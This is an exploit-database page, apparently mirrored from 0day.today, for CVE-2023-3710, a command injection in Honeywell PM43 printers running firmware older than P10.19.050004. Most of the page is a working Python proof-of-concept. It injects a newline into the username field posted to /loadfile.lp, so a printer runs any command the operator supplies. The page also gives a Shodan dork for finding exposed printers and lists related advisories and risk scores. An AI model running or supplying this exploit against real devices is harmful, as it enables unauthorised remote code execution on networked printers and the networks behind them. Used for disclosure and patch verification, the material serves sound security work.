Honeywell PM43 < P10.19.050004 - Remote Code Execution Exploit

🗓️ 14 Mar 2024 00:00:00Reported by ByteHunterType

zdt🔗 0day.today👁 347 Views

Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE) CVE-2023-3710

Reporter	Title	Published	Views	Family All 16
BDU FSTEC	The vulnerability of the printer web page module (ARM) of Honeywell PM43, which allows a intruder to execute arbitrary commands	21 Oct 202300:00	–	bdu_fstec
Circl	CVE-2023-3710	13 Sep 202300:23	–	circl
CNNVD	Honeywell Products Command Injection Vulnerability	12 Sep 202300:00	–	cnnvd
CVE	CVE-2023-3710	12 Sep 202319:55	–	cve
Cvelist	CVE-2023-3710 Printer web page invalid command execution	12 Sep 202319:55	–	cvelist
Exploit DB	Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)	14 Mar 202400:00	–	exploitdb
Nuclei	Honeywell PM43 Printers - Command Injection	7 Jun 202603:02	–	nuclei
NVD	CVE-2023-3710	12 Sep 202320:15	–	nvd
OSV	CVE-2023-3710	12 Sep 202320:15	–	osv
Packet Storm	Honeywell PM43 Remote Code Execution	14 Mar 202400:00	–	packetstorm

#- Exploit Title: Honeywell PM43 < P10.19.050004 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:PM43 , PM43
#- Exploit Author: ByteHunter
#- Email: [email protected]
#- Frimware Version: versions prior to P10.19.050004
#- Tested on: P10.17.019667
#- CVE : CVE-2023-3710


import requests
import argparse

BLUE = '\033[94m'
YELLOW = '\033[93m'
RESET = '\033[0m'

def banner():
    banner = """
    ╔════════════════════════════════════════════════╗
        CVE-2023-3710   
        Command Injection in Honeywell PM43 Printers
        Author: ByteHunter      
    ╚════════════════════════════════════════════════╝
    """
    print(YELLOW + banner + RESET)


def run_command(url, command):
    full_url = f"{url}/loadfile.lp?pageid=Configure"
    payload = {
        'username': f'hunt\n{command}\n',
        'userpassword': 'admin12345admin!!'
    }
    try:
        response = requests.post(full_url, data=payload, verify=False)
        response_text = response.text
        html_start_index = response_text.find('<html>')
        if html_start_index != -1:
            return response_text[:html_start_index]
        else:
            return response_text  
    except requests.exceptions.RequestException as e:
        return f"Error: {e}"

def main():
    parser = argparse.ArgumentParser(description='Command Injection PoC for Honeywell PM43 Printers')
    parser.add_argument('--url', dest='url', help='Target URL', required=True)
    parser.add_argument('--run', dest='command', help='Command to execute', required=True)

    args = parser.parse_args()

    response = run_command(args.url, args.command)
    print(f"{BLUE}{response}{RESET}")

if __name__ == "__main__":
    banner()
    main()

14 Mar 2024 00:00Current

9.6High risk

Vulners AI Score9.6

CVSS 3.19.8 - 9.9

EPSS0.91703

SSVC